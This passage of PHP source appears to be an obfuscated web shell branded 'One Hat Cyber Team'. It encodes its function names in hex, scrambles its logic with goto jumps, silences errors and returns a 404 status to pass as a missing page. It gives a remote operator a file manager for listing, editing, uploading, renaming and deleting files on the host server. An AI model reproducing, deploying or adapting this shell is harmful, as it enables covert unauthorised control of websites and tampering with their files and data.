"\x22\x20\x64\141\x74\141\55\164\x6f\147\x67\154\145\x3d\42\x74\157\x6f\154\164\x69\160\x22\x20\144\x61\x74\141\55\x70\154\141\143\145\x6d\x65\156\164\x3d\x22\141\x75\164\x6f\42\40\x74\151\x74\x6c\x65\x3d\x22\105\144\151\164\x22\76\x45\x64\x69\164\x3c\x2f\141\76\74\57\x74\x64\x3e\15\xa\x3c\x74\144\76\74\141\40\150\162\145\x66\x3d\42\x3f\160\75" . ss($Jd) . "\46\141\x3d" . SS("\x72\x65\156\x61\x6d\145") . "\46\156\x3d" . ss($F1) . "\x26\164\75\146\x22\40\144\x61\x74\x61\55\164\x6f\x67\147\x6c\x65\75\x22\164\x6f\x6f\x6c\x74\151\x70\x22\40\144\x61\164\x61\x2d\160\154\141\x63\145\155\145\x6e\164\75\x22\141\x75\x74\x6f\42\x20\x74\151\164\x6c\x65\75\x22\122\145\156\141\x6d\x65\42\x3e\x52\x65\x6e\141\x6d\145\74\x2f\x61\76\74\x2f\164\x64\x3e\xd\xa\x3c\x74\x64\x3e\74\141\x20\150\x72\145\x66\x3d\42\77\x70\x3d" . ss($Jd) . "\x26\x61\75" . sS("\x64\x65\154\145\164\145") . "\46\156\75" . ss($F1) . "\42\40\x63\154\x61\x73\x73\75\42\x64\x65\154\145\x74\145\42\40\x64\x61\164\141\x2d\x74\171\x70\x65\75\42\146\151\154\145\42\40\x64\x61\164\x61\55\164\x6f\147\x67\154\x65\x3d\x22\164\157\157\x6c\164\151\x70\42\40\x64\x61\164\x61\x2d\x70\x6c\141\x63\145\x6d\145\x6e\164\x3d\x22\x61\165\164\157\42\x20\x74\x69\164\x6c\x65\75\42\x44\145\154\145\x74\145\x22\76\x44\145\154\145\x74\145\74\x2f\141\76\74\x2f\x74\x64\x3e\15\xa\x3c\57\x74\x72\76"; goto v2noY; glGuu: goto F6uUG; goto bcKKF; v9Eba: $kL = round($kL, 3); goto D3Ydb; ruO3g: if (!$c8[7]("{$Jd}\57{$F1}")) { goto ujbhv; } goto FaOlZ; nnWwd: WFhx4: goto RoXaA; cb8nr: $kL = $c8[10]("{$Jd}\57{$F1}") / 1024; goto v9Eba; FaOlZ: goto TomPa; goto JOFka; RoXaA: } goto KQMnt; OPLx1: WBrRw: goto Pou2M; KH9aY: function rn($F1) { goto Ejvon; zVqOc: n1F3e: goto EdX4F; l2o3k: HQRNE: goto L0VkZ; A3WMM: if (!(($Jd & 0x6000) == 0x6000)) { goto n1F3e; } goto Bqxqf; oofvc: goto Qxl4a; goto OqJkb; bFELY: pUF7c: goto Ad9mp; oqOEA: JthAK: goto DNxB7; XpXso: $lE = "\x6c"; goto GC653; szoa_: BDLif: goto hiN2A; UVoP8: goto Qxl4a; goto bFELY; aQqQF: cLJz2: goto uxsoy; nKEdw: if (!(($Jd & 0x2000) == 0x2000)) { goto JthAK; } goto l48bI; Ejvon: $Jd = fileperms($F1); goto T8j0w; huuz4: goto Qxl4a; goto sSQX4; kLO5U: goto Qxl4a; goto KOXs1; rGNN8: if (!(($Jd & 0xa000) == 0xa000)) { goto Tt_g_; } goto UWWll; Gyg5Y: $lE .= $Jd & 0x4 ? "\x72" : "\55"; goto wr2W5; kKDNR: return $lE; goto U5w5P; wr2W5: $lE .= $Jd & 0x2 ? "\x77" : "\55"; goto AQ5h1; GYiif: Tt_g_: goto cqeNy; tISrq: $lE .= $Jd & 0x20 ? "\x72" : "\x2d"; goto Wh334; a0iTu: goto pUF7c; goto jphQA; L0VkZ: $lE = "\55"; goto hjz5U; AQ5h1: $lE .= $Jd & 0x1 ? $Jd & 0x200 ? "\x74" : "\x78" : ($Jd & 0x200 ? "\124" : "\x2d"); goto kKDNR; OqJkb: wUPiF: goto XwcR2; uxsoy: $lE = "\142"; goto UVoP8; a1QMB: $lE .= $Jd & 0x8 ? $Jd & 0x400 ? "\x73" : "\x78" : ($Jd & 0x400 ? "\123" : "\x2d"); goto Gyg5Y; ZjeVr: goto HQRNE; goto PR2BP; XwcR2: $lE = "\160"; goto yFMrk; kSaVg: goto Qxl4a; goto szoa_; Wh334: $lE .= $Jd & 0x10 ? "\x77" : "\55"; goto a1QMB; Bqxqf: goto cLJz2; goto zVqOc; lW0lD: NZDZ0: goto otWx5; cqeNy: if (!(($Jd & 0x8000) == 0x8000)) { goto zIUdf; } goto ZjeVr; jphQA: SoToc: goto nKEdw; KOXs1: tPwHT: goto YHcDD; PR2BP: zIUdf: goto A3WMM; otWx5: $lE = "\x75"; goto kLO5U; EdX4F: if (!(($Jd & 0x4000) == 0x4000)) { goto SoToc; } goto a0iTu; BMObp: $lE .= $Jd & 0x80 ? "\167" : "\55"; goto uN3A5; l48bI: goto BDLif; goto oqOEA; wEWqy: DSca2: goto rGNN8; DNxB7: if (!(($Jd & 0x1000) == 0x1000)) { goto NZDZ0; } goto ilQKi; uN3A5: $lE .= $Jd & 0x40 ? $Jd & 0x800 ? "\x73" : "\170" : ($Jd & 0x800 ? "\123" : "\55"); goto tISrq; UWWll: goto OTKPa; goto GYiif; N1Dtg: $lE .= $Jd & 0x100 ? "\162" : "\x2d"; goto BMObp; T8j0w: if (!(($Jd & 0xc000) == 0xc000)) { goto DSca2; } goto XuXN8; XuXN8: goto tPwHT; goto wEWqy; hjz5U: goto Qxl4a; goto aQqQF; ilQKi: goto wUPiF; goto lW0lD; sSQX4: OTKPa: goto XpXso; hiN2A: $lE = "\143"; goto oofvc; Ad9mp: $lE = "\144"; goto kSaVg; YHcDD: $lE = "\163"; goto huuz4; yFMrk: Qxl4a: goto N1Dtg; GC653: goto Qxl4a; goto l2o3k; U5w5P: } goto P25a0; gbyid: $currentDir = getcwd(); goto JkfzH; yzR0z: echo "\74\x68\65\40\143\x6c\x61\163\x73\75\42\x70\55\x31\40\162\x61\151\x6e\x62\x6f\x77\x2d\x62\x6f\162\144\x65\x72\x22\40\163\164\x79\154\145\75\42\164\145\170\x74\55\x61\154\x69\147\156\72\40\x63\145\156\x74\x65\162\x3b\x22\76\105\144\x69\164\40\x4e\141\155\141\x20\106\x69\154\145\72\40\74\146\157\x6e\164\40\143\x6f\154\x6f\162\x3d\42\x77\150\x69\x74\145\x22\76"; goto CmQdn; GAJ_p: goto WuWzI; goto V60JP; lAGVG: lVpvL: goto MhAYt; Y6O3j: YepRA: goto gQPY8; hgzvg: Xe("\107\141\147\x61\x6c\x20\155\145\x6e\x67\165\142\x61\150\x20\x69\x7a\x69\156", 0); goto Nc198; UYCID: error_reporting(0); goto M5v3C; l8csR: cHfGd: goto ANEwH; pUQui: echo "\74\57\x73\x70\x61\x6e\x3e\74\57\154\x69\76\xd\12\74\154\151\76\x53\145\x72\x76\x65\162\40\72\40\74\163\x70\141\x6e\40\x73\164\171\x6c\145\75\x22\143\157\x6c\x6f\162\72\40\167\150\151\x74\145\x3b\42\76"; goto CgOkh; raqMq: if (!isset($_POST["\x63\162\x65\141\x74\145\137\146\x6f\x6c\x64\145\162"])) { goto nRhJi; } goto f5aRU; ks9gk: echo jD($_GET["\x6e"]); goto uiNll; cU25L: $G3 = $c8[5]($G3($Jd), ["\x2e", "\x2e\56"]); goto QUero; a5Rw_: GRYEX: goto h0yNe; tqIqH: Xe("\x66\x61\151\x6c\x65\x64\x20\164\157\40\x64\x65\x6c\x65\164\145\40\164\150\145\40\146\157\x6c\x64\145\x72", 0); goto qWFN0; ZB075: goto hodfB; goto e7SSd; l6lHy: $folderPath = "{$currentDir}\57{$folderName}"; goto DmZNj; klVg8: echo "\x3c\x74\x61\142\x6c\x65\x20\143\x6c\x61\163\163\x3d\x22\164\x61\x62\154\x65\40\x74\x61\x62\x6c\145\55\x68\157\x76\x65\x72\40\164\x61\142\154\145\x2d\142\157\x72\x64\145\x72\x6c\x65\x73\x73\40\x74\x61\x62\x6c\x65\55\x73\155\x22\x20\163\x74\x79\154\145\75\x22\164\x65\x78\x74\x2d\x61\154\151\147\156\x3a\x20\143\145\x6e\164\145\x72\73\167\151\144\164\x68\72\x20\x31\x30\x30\45\73\x22\x3e\xd\xa\74\164\x68\145\x61\x64\x20\x63\154\x61\163\163\x3d\42\164\145\170\x74\x2d\154\x69\147\150\164\42\76\15\xa\x3c\164\x72\76\xd\12\74\164\150\x20\x73\x74\x79\x6c\145\x3d\42\x77\x69\144\x74\150\72\40\64\65\45\73\x22\76\116\x61\155\x65\x3c\x2f\x74\x68\x3e\xd\xa\74\164\150\x20\163\x74\171\154\145\75\x22\x77\x69\x64\164\x68\x3a\x20\61\x33\45\x3b\42\x3e\123\x69\172\x65\74\x2f\164\x68\76\xd\xa\74\x74\150\40\163\x74\171\154\145\x3d\x22\167\x69\x64\x74\150\72\40\61\63\x25\73\x22\76\x50\x65\162\155\151\163\x73\x69\x6f\156\74\57\x74\x68\76\xd\12\x3c\164\150\x20\x63\157\x6c\163\160\x61\x6e\x3d\x22\63\x22\x3e\x41\143\x74\x69\157\156\74\x2f\x74\x68\x3e\15\12\74\x2f\x74\162\76\15\xa\74\57\164\150\x65\x61\x64\76\xd\12\x3c\x74\x62\157\144\x79\x20\143\154\x61\163\x73\x3d\42\164\x65\x78\164\x2d\154\x69\147\150\164\x22\x3e\x20"; goto cU25L; epYd3: $newName = $_POST["\x6e\145\x77\x5f\146\x69\154\145\137\156\141\155\x65"]; goto f7MJK; iOZrz: $fileName = $_POST["\146\151\x6c\x65\137\156\141\x6d\145"]; goto lBivr; xc4pX: $BL = $Jd . "\57" . jd($_GET["\x6e"]); goto aTsk5; iJrKt: goto llzId; goto PBWDG; z47JB: goto WuWzI; goto S2fjQ; Pou2M: XR5kC: goto hky0H; qZkE2: $G3 = "\x73\x63\141\156\x64\151\162"; goto VYu6Z; V4aUK: nhGdW: goto xc4pX; e7SSd: dT1Z5: goto qMY7j; I4Mr8: YmvX_: goto IP9JK; ZZiIv: if (!($index < $totalFiles)) { goto seOwc; } goto GIuA3; yexD7: seOwc: goto gjAvo; TR99t: $uploadedFiles = $_FILES["\146"]["\x6e\x61\155\145"]; goto CzeEQ; Lm_zM: l07qe: goto ImbKT; dJDOB: hodfB: goto X4MLJ; M5v3C: set_time_limit(0); goto ppUof; y8gBw: function Ss($SP) { goto VFIvz; UxKJ8: vxoby: goto x5OgC; YNm8N: XGek7: goto Q9fln; n9px0: ltYIR: goto BZWFo; aBxNw: goto h3xPx; goto YNm8N; zSA_R: $lE = 0; goto UxKJ8; Fyu82: return $dE; goto KN0eH; Acvg3: h3xPx: goto Fyu82; VFIvz: $dE = ''; goto zSA_R; tVInM: goto vxoby; goto Acvg3; BZWFo: $lE++; goto tVInM; Q9fln: $dE .= dechex(ord($SP[$lE])); goto n9px0; x5OgC: if ($lE < strlen($SP)) { goto XGek7; } goto aBxNw; KN0eH: } goto fRdU4; sZ6bB: echo "\x3c\x68\65\40\143\x6c\141\163\x73\75\42\x70\x2d\x31\x20\162\141\151\156\x62\x6f\x77\55\x62\157\x72\144\145\x72\42\x20\163\164\x79\154\x65\75\x22\x74\x65\170\x74\x2d\141\x6c\x69\x67\156\72\40\x63\x65\x6e\164\x65\x72\x3b\42\x3e\x4e\141\155\x61\x20\x46\151\x6c\x65\40\102\x61\x72\165\x20\72\x3c\x2f\150\x35\x3e\15\xa\74\146\x6f\162\155\x20\x6d\x65\164\150\157\144\x3d\x22\x70\x6f\163\164\x22\x3e\15\xa\x20\x20\x20\40\x3c\x64\x69\166\x20\x63\x6c\141\163\163\x3d\x22\146\157\162\x6d\55\147\162\157\165\160\42\x3e\xd\xa\x20\40\40\40\40\40\x20\40\x3c\x69\156\x70\165\164\x20\164\x79\160\145\75\42\x74\145\170\x74\x22\x20\x6e\141\x6d\x65\x3d\x22\146\x69\154\145\x5f\156\x61\x6d\x65\42\x20\151\144\x3d\x22\146\151\x6c\x65\x5f\156\x61\155\x65\x22\x20\x63\x6c\x61\x73\x73\75\x22\x62\x6f\x72\x64\x65\x72\x20\160\55\x31\42\40\x73\164\171\x6c\x65\75\42\164\x65\x78\x74\55\x61\154\x69\x67\156\x3a\x20\143\145\156\x74\x65\x72\73\x22\76\xd\12\x20\40\x20\x20\74\57\144\151\166\76\xd\xa\40\40\40\x20\74\144\x69\166\40\x63\154\x61\163\163\x3d\42\x66\x6f\162\x6d\55\147\162\157\x75\160\42\x3e\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x3c\x74\x65\170\x74\x61\x72\x65\x61\x20\163\x74\x79\x6c\x65\75\42\x72\145\163\151\172\145\72\156\157\x6e\x65\x22\40\156\141\155\145\75\x22\x66\151\154\145\137\143\x6f\x6e\164\x65\x6e\164\x22\40\151\144\x3d\x22\146\x69\x6c\x65\137\143\157\x6e\x74\145\x6e\x74\x22\x20\x63\x6f\x6c\163\75\42\63\60\42\x20\x72\x6f\x77\x73\75\42\x31\60\42\40\x63\x6c\141\x73\163\75\x22\146\x6f\162\155\x2d\x63\157\x6e\164\x72\x6f\154\x20\x72\x61\x69\x6e\142\157\x77\55\142\x6f\162\x64\145\162\x22\x3e\74\x2f\164\145\x78\x74\x61\162\x65\141\x3e\15\xa\40\x20\x20\40\74\57\x64\x69\x76\76\xd\xa\x20\40\40\x20\x3c\144\151\166\40\143\x6c\141\x73\163\x3d\42\146\x6f\162\155\x2d\147\x72\x6f\165\160\42\40\163\164\x79\x6c\x65\x3d\x22\155\141\x72\x67\151\x6e\55\164\157\160\x3a\40\61\60\160\x78\x3b\42\x3e\15\12\40\40\40\x20\40\40\x20\40\x3c\x62\165\164\164\x6f\x6e\40\164\171\x70\145\x3d\42\x73\x75\x62\155\x69\164\x22\40\x6e\x61\x6d\x65\75\x22\x63\x72\x65\141\x74\145\137\146\151\x6c\x65\42\40\143\154\x61\163\163\75\x22\157\150\x63\164\x22\x3e\x43\162\145\x61\x74\145\74\x2f\x62\165\x74\x74\157\156\76\xd\xa\x20\x20\x20\x20\74\x2f\144\x69\166\76\15\12\74\57\146\157\162\155\x3e\15\12\xd\12"; goto aRFgz; X4MLJ: goto Bym5W; goto lAGVG; JqxaL: if (mkdir($folderPath)) { goto dT1Z5; } goto BrZJD; g0l1M: SCm92: goto lygUa; ImbKT: xe("\x66\x6f\154\x64\x65\162\40\144\x65\154\145\164\145\144\x20\x73\165\x63\x63\x65\163\x73\x66\165\x6c\x6c\x79"); goto RgCVA; McJVv: echo "\15\12\x3c\x2f\x64\151\x76\x3e\xd\xa\74\x64\x69\166\40\x63\154\x61\163\x73\75\42\x74\x61\x62\154\x65\55\x72\x65\163\160\157\156\163\151\x76\145\x20\164\145\170\x74\55\154\151\147\150\164\40\162\141\x69\x6e\142\157\x77\55\x62\157\162\x64\x65\162\42\x20\x73\x74\171\x6c\145\75\x22\x74\145\x78\164\55\x61\154\x69\147\156\x3a\40\154\145\146\x74\73\x70\x61\x64\x64\151\156\147\72\x20\64\x70\170\x3b\x6d\141\x72\x67\151\x6e\55\x62\157\164\x74\x6f\155\x3a\40\x33\x70\170\x3b\155\x61\162\x67\x69\x6e\x2d\x74\157\160\72\40\63\160\170\x3b\x22\76\xd\12\74\x6c\x69\x3e\x44\151\x72\40\x3a\40\x3c\163\160\141\x6e\76"; goto eJzBg; UGZfs: Bym5W: goto gNdcw; IOs5m: goto JuQTj; goto b1Prt; xYynO: goto CiuOO; goto GrpvM; gjAvo: j8Ne4: goto McJVv; ned6r: if (isset($_GET["\x61"])) { goto DqkC1; } goto g4Bkd; ppUof: http_response_code(404); goto K0vFC; WY826: $fileName = basename(jD($_GET["\156"])); goto Uj6Nn; aTsk5: if (!($_GET["\x74"] == "\x64")) { goto GqE6o; } goto fFAU6; o5NaW: unlink($BL); goto dG_yF; P25a0: function Xe($OB, $Ch = 1, $BL = '') { goto lO7HY; lO7HY: global $Jd; goto Vijni; FfS6u: echo "\x3c\163\x63\162\x69\x70\x74\76\163\x77\141\x6c\50\x7b\x74\151\x74\x6c\145\x3a\40\x22{$xe}\x22\54\x20\164\x65\170\164\x3a\x20\42{$OB}\x22\54\40\151\143\x6f\156\x3a\x20\x22{$xe}\42\175\51\56\x74\150\x65\156\50\50\x62\164\x6e\103\x6c\x69\143\153\51\x20\75\x3e\40\173\151\146\x28\x62\x74\x6e\x43\x6c\x69\143\153\51\173\144\x6f\143\165\x6d\145\156\x74\x2e\x6c\x6f\143\x61\164\151\157\x6e\56\150\x72\145\146\x3d\x22\x3f\160\75" . Ss($Jd) . $BL . "\x22\175\x7d\51\74\x2f\x73\x63\162\151\160\x74\76"; goto JpMfM; Vijni: $xe = $Ch == 1 ? "\x73\165\143\x63\x65\163\x73" : "\145\162\x72\157\x72"; goto FfS6u; JpMfM: } goto nsWn8; VYu6Z: $c8 = ["\67\x30\66\70\67\60\65\146\x37\65\x36\x65\66\x31\66\x64\66\65", "\x37\x30\66\70\x37\60\x37\x36\x36\x35\67\62\x37\63\66\71\66\x66\x36\145", "\66\x37\x36\65\67\x34\x36\x33\x37\x37\66\x34", "\x36\63\x36\x38\x36\64\x36\71\67\x32", "\67\x30\x37\x32\x36\65\66\x37\65\146\x37\63\67\60\66\143\x36\x39\67\64", "\66\61\67\x32\67\62\66\61\67\x39\65\146\66\64\66\71\x36\x36\66\66", "\x36\x39\67\63\65\146\66\64\x36\71\x37\62", "\66\71\x37\63\65\146\x36\x36\66\71\66\143\x36\65", "\66\71\x37\x33\65\x66\67\x37\x37\x32\66\x39\x37\64\66\x31\66\62\66\143\x36\65", "\x36\71\x37\63\x35\x66\67\x32\x36\x35\66\x31\x36\x34\66\61\x36\62\x36\x63\66\65", "\x36\x36\x36\x39\x36\143\66\x35\67\63\66\x39\x37\141\x36\65", "\x36\63\66\x66\x37\x30\x37\71", "\x36\x36\66\x39\66\x63\66\x35\x35\146\x36\65\x37\x38\66\x39\67\63\67\x34\x37\63", "\x36\66\x36\71\66\x63\x36\x35\65\x66\x37\x30\67\x35\x37\x34\65\x66\66\63\66\146\66\145\x37\x34\66\65\66\145\x37\x34\67\63", "\66\66\66\x39\66\x63\x36\65\x35\146\x36\x37\x36\65\x37\64\65\x66\66\x33\66\x66\x36\x65\67\64\66\x35\x36\145\x37\x34\67\63", "\x36\x64\66\x62\66\64\66\71\x37\62", "\x37\x32\66\65\x36\145\66\x31\x36\144\66\x35", "\67\63\67\64\67\62\x37\64\x36\146\x37\x34\x36\71\66\144\x36\x35", "\x36\x38\x37\x34\66\144\66\x63\67\x33\x37\x30\66\x35\66\x33\x36\x39\x36\61\x36\x63\66\x33\66\x38\x36\x31\x37\62\67\x33", "\66\x34\66\x31\67\64\x36\65", "\66\66\66\71\66\143\x36\x35\x36\144\67\x34\x36\71\66\x64\x36\65"]; goto HhbxK; XbO1F: jpk0X: goto ui5BY; ui5BY: $index++; goto s1u_6; fJZSg: auqgv: goto m_WJB; yNbhO: $oldPath = "{$currentDir}\x2f" . jD($_GET["\x6e"]); goto W_YUR; xa4PM: goto SCm92; goto WsTPz; eucg0: xE("\x4e\x61\x6d\x61\40\146\151\154\145\40\164\x65\154\x61\x68\x20\144\x69\147\x75\156\x61\153\141\156", 0, "\x26\x61\75" . SS("\x6e\x65\167\x46\x69\x6c\145")); goto ThB_8; CKeJG: echo "\40\15\xa\74\41\104\117\x43\124\x59\x50\x45\40\150\164\x6d\x6c\x3e\xd\12\x3c\x68\x74\155\154\40\x6c\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\xa\74\150\x65\x61\x64\76\15\12\x20\x20\40\40\74\x6d\x65\x74\141\x20\160\x72\157\x70\145\x72\164\x79\75\42\x6f\x67\x3a\151\x6d\141\x67\x65\42\x20\143\x6f\156\164\x65\x6e\164\75\x22\57\57\x69\56\x69\155\147\165\162\x2e\143\157\x6d\x2f\x72\x72\x6f\124\120\x42\113\x2e\152\x70\x65\147\42\76\xd\xa\40\40\x20\x20\74\x6d\145\164\x61\40\160\x72\x6f\160\145\x72\x74\x79\x3d\x22\x6f\147\72\x74\x69\164\x6c\145\x22\40\143\x6f\156\x74\x65\x6e\164\75\x22\117\x6e\145\40\x48\141\164\x20\103\x79\x62\x65\x72\40\124\145\141\x6d\42\x3e\xd\12\x20\x20\40\40\74\155\145\164\x61\x20\x70\x72\x6f\x70\145\x72\164\171\x3d\42\157\147\x3a\x64\x65\x73\x63\162\151\160\x74\x69\x6f\156\x22\x20\143\x6f\156\164\145\x6e\x74\x3d\x22\102\171\x20\115\162\56\x43\x6f\x6d\142\145\x74\42\x3e\xd\xa\x20\x20\40\40\x3c\155\x65\x74\x61\x20\156\x61\155\145\x3d\x22\164\x68\x65\x6d\145\55\x63\x6f\154\x6f\x72\42\40\x63\157\156\164\145\x6e\x74\x3d\x22\43\x30\x30\142\x66\146\146\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\x65\x74\141\40\x6e\141\155\x65\75\42\x76\x69\x65\x77\160\x6f\x72\164\x22\x20\x63\x6f\x6e\164\145\x6e\x74\75\x22\x77\x69\x64\164\150\x3d\144\x65\166\x69\143\x65\x2d\x77\151\x64\164\150\54\40\151\x6e\151\x74\151\x61\x6c\55\x73\143\x61\x6c\x65\x3d\x30\56\x36\x30\54\40\163\150\x72\151\156\x6b\55\164\157\x2d\x66\x69\x74\75\156\157\42\76\15\12\40\x20\40\x20\74\x74\x69\164\154\145\76\117\156\145\x20\110\x61\164\40\x43\171\142\x65\x72\40\124\x65\x61\155\x3c\57\x74\151\164\x6c\145\76\15\12\40\x20\x20\x20\x3c\154\x69\156\x6b\40\162\x65\x6c\x3d\42\x73\164\171\x6c\x65\163\x68\x65\145\x74\x22\x20\x68\162\x65\x66\x3d\42\x2f\x2f\x63\x64\156\56\x6a\x73\144\145\x6c\151\166\162\56\x6e\x65\164\57\x6e\160\x6d\x2f\x62\157\x6f\164\x73\164\x72\x61\x70\x40\64\56\66\x2e\60\x2f\x64\151\163\164\x2f\x63\163\163\x2f\142\157\x6f\164\163\x74\x72\x61\x70\x2e\155\x69\x6e\56\143\163\163\x22\x3e\xd\xa\40\40\40\x20\x3c\x6c\x69\x6e\x6b\x20\x72\x65\154\75\42\163\164\171\x6c\x65\163\150\x65\145\x74\42\x20\150\x72\x65\146\x3d\42\57\57\x63\x64\156\152\x73\56\x63\x6c\157\x75\144\146\154\141\162\145\x2e\143\x6f\155\x2f\x61\x6a\x61\170\x2f\x6c\151\x62\163\x2f\x66\157\x6e\164\x2d\141\x77\145\x73\157\155\x65\57\x34\x2e\x37\56\x30\x2f\143\163\x73\57\x66\157\x6e\x74\x2d\x61\x77\145\163\157\155\x65\x2e\x6d\151\x6e\56\143\163\x73\x22\x3e\15\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\145\x6c\75\x22\151\x63\157\x6e\42\x20\150\x72\145\146\x3d\42\x2f\x2f\x69\56\x69\x6d\x67\165\x72\x2e\143\157\x6d\x2f\x72\162\x6f\x54\120\x42\113\56\152\x70\145\147\42\76\xd\xa\x20\40\x20\40\74\x73\x74\x79\154\x65\x20\x74\x79\160\x65\x3d\42\164\x65\170\x74\57\x63\163\163\x22\76\xd\xa\100\151\155\x70\x6f\162\x74\x20\x75\x72\x6c\x28\47\150\x74\164\160\x73\x3a\x2f\57\x66\x6f\x6e\x74\x73\56\x67\x6f\x6f\147\x6c\145\141\160\151\163\56\143\x6f\155\x2f\x63\x73\x73\62\x3f\146\141\x6d\151\x6c\171\x3d\101\155\x61\x72\x61\x6e\x74\x68\72\x69\164\x61\x6c\54\x77\147\x68\x74\x40\x30\54\x34\60\x30\73\x30\54\67\x30\60\x3b\x31\x2c\x34\60\60\73\61\54\x37\60\x30\46\x64\x69\x73\160\x6c\x61\171\75\x73\167\141\160\47\x29\x3b\15\xa\142\157\x64\x79\x20\x7b\xd\12\40\40\x20\x20\143\x6f\x6c\x6f\162\72\x20\x62\x6c\x61\x63\x6b\73\xd\xa\40\40\40\x20\x66\157\156\x74\x2d\x73\x69\172\x65\72\40\60\x70\170\x3b\15\12\x20\x20\x20\x20\x66\x6f\156\x74\55\x66\x61\x6d\x69\154\171\x3a\40\47\101\x6d\x61\x72\x61\156\x74\x68\47\73\15\xa\40\40\40\x20\x77\x69\x64\x74\150\72\40\71\x39\x25\x3b\xd\xa\40\40\40\x20\x70\141\144\x64\x69\x6e\147\x3a\40\x30\160\170\x3b\xd\12\40\40\x20\40\155\x61\162\x67\151\x6e\x2d\162\151\147\150\164\72\x20\x61\x75\164\157\73\xd\12\40\40\40\x20\x6d\x61\162\x67\x69\x6e\55\x6c\x65\146\164\x3a\40\141\165\x74\157\x3b\15\12\40\40\40\40\155\x61\x72\147\151\156\x2d\x74\157\x70\x3a\40\x37\x70\x78\x3b\xd\12\40\40\x20\x20\155\141\162\147\151\x6e\55\x62\x6f\x74\x74\157\155\72\40\67\160\x78\73\15\12\40\40\x20\40\142\x61\143\x6b\147\x72\157\x75\x6e\x64\x2d\x63\157\x6c\x6f\162\72\x20\x62\154\141\143\153\x21\x69\155\x70\157\x72\x74\141\x6e\x74\x3b\xd\xa\x7d\xd\12\xd\12\56\x62\147\x2d\x64\x61\x72\x6b\40\173\15\xa\x20\x20\x20\40\142\x61\x63\x6b\147\162\157\165\156\144\x2d\143\157\154\157\162\x3a\x20\142\x6c\141\143\x6b\41\151\155\x70\157\x72\x74\141\156\164\73\15\12\175\15\xa\15\12\56\142\157\162\144\145\x72\40\173\15\xa\40\x20\x20\40\142\157\170\x2d\163\150\x61\144\157\167\x3a\x20\x30\x70\x78\x20\60\x70\x78\40\x31\x30\x70\x78\40\x23\x30\60\142\146\146\x66\x3b\xd\12\40\40\x20\40\x62\x6f\162\x64\145\x72\x3a\40\62\160\x78\x20\163\x6f\154\151\x64\x20\43\60\60\x62\x66\146\146\41\x69\x6d\160\157\162\164\141\156\164\73\xd\xa\40\x20\40\40\142\157\162\144\145\x72\x2d\x72\141\144\151\x75\x73\x3a\x20\x35\160\x78\73\xd\12\40\x20\x20\x20\142\141\143\153\x67\162\x6f\x75\156\x64\x3a\40\164\x72\x61\x6e\163\160\141\162\145\x6e\x74\73\xd\12\x7d\xd\12\15\12\56\142\157\162\144\145\x72\x3a\x68\x6f\x76\145\x72\x20\x7b\15\12\40\40\40\40\x62\157\170\x2d\163\x68\141\x64\157\167\x3a\40\x30\160\x78\40\x30\160\x78\40\x31\60\160\170\40\x23\x30\60\x62\146\x66\x66\x3b\xd\12\40\40\40\x20\142\x6f\x72\x64\x65\x72\x3a\x20\62\x70\170\40\x73\157\x6c\x69\x64\x20\43\60\60\x62\x66\146\x66\x21\x69\x6d\160\157\162\164\141\156\x74\x3b\15\12\x7d\15\xa\xd\12\x2e\164\141\142\x6c\145\40\164\x64\x20\x7b\xd\12\40\40\40\x20\x70\141\x64\x64\151\156\x67\72\40\x30\56\x31\162\145\x6d\x3b\xd\xa\40\40\x20\x20\142\157\x78\55\x73\150\141\144\157\x77\x3a\40\151\156\163\145\164\40\60\x70\170\x20\60\160\170\x20\60\x70\x78\40\61\160\170\40\x23\60\x30\x62\146\146\146\73\xd\12\x20\40\40\x20\142\x6f\x72\144\145\x72\x2d\162\x61\144\151\165\163\x3a\40\62\160\170\x3b\15\xa\x7d\15\xa\xd\12\56\x74\x61\142\x6c\x65\x20\164\x68\145\x61\x64\40\x74\150\x20\173\15\xa\x20\40\x20\x20\146\x6f\x6e\164\55\146\x61\x6d\151\x6c\171\72\40\47\x41\x6d\x61\162\x61\156\164\x68\47\x2c\x20\x63\x75\x72\163\151\x76\145\73\xd\12\40\40\x20\40\x62\157\x78\x2d\x73\150\x61\144\157\167\x3a\40\151\x6e\x73\145\164\40\x30\x70\170\x20\x30\x70\170\40\60\160\170\40\61\56\x35\160\x78\x20\x23\x30\60\x62\146\x66\x66\73\15\xa\40\x20\40\40\143\157\154\x6f\x72\72\x20\43\60\60\x62\x66\x66\146\73\xd\xa\x20\x20\x20\40\x70\141\x64\x64\x69\x6e\x67\72\x20\x30\x2e\62\65\x72\x65\155\73\15\12\x20\x20\x20\40\142\x6f\x72\144\x65\162\x2d\162\x61\x64\x69\165\163\x3a\x20\x35\x70\x78\x3b\15\xa\x20\x20\x20\40\x62\x61\x63\x6b\x67\162\x6f\165\x6e\144\x3a\x20\x6c\151\x6e\145\x61\x72\55\x67\162\141\144\151\x65\x6e\x74\x28\x74\157\x20\142\157\x74\164\157\x6d\54\40\x62\x6c\141\143\x6b\54\x20\x23\x33\146\63\146\x33\146\70\x30\51\x3b\15\12\x7d\xd\12\xd\xa\x2e\x74\141\x62\x6c\x65\55\150\157\166\x65\x72\x20\164\x62\157\x64\171\x20\x74\162\72\x68\x6f\x76\145\x72\x20\164\144\x20\173\xd\xa\40\x20\x20\x20\142\141\143\153\147\x72\x6f\x75\156\144\x3a\40\43\x33\x66\63\x66\x33\146\70\60\73\15\xa\x20\40\x20\x20\142\x6f\x78\x2d\x73\x68\x61\x64\157\x77\x3a\x20\151\x6e\x73\x65\x74\x20\60\x70\170\40\x30\160\x78\40\60\x70\170\40\x31\x70\170\40\43\x30\x30\x62\x66\x66\146\x3b\15\12\40\x20\x20\40\142\157\162\144\145\162\55\x72\141\144\x69\165\163\x3a\x20\62\x70\x78\73\xd\12\x7d\15\12\xd\12\x2e\x74\x61\142\154\x65\55\150\x6f\166\x65\x72\x20\164\x62\157\x64\x79\40\x74\x72\x3a\x68\157\166\x65\162\x20\164\x64\76\x2a\40\x7b\15\xa\175\xd\12\15\12\x2e\x74\x61\x62\x6c\145\x3e\x74\x62\157\x64\x79\x3e\164\162\x3e\52\40\173\15\xa\40\40\x20\40\x63\157\x6c\x6f\162\72\x23\x66\x66\x66\x3b\15\xa\x20\x20\x20\40\166\145\162\164\x69\x63\141\x6c\55\141\x6c\x69\147\x6e\72\x6d\x69\144\x64\x6c\145\73\15\xa\175\xd\xa\15\xa\x2e\x66\x6f\x72\155\55\143\157\156\164\162\157\154\40\x7b\15\xa\40\x20\x20\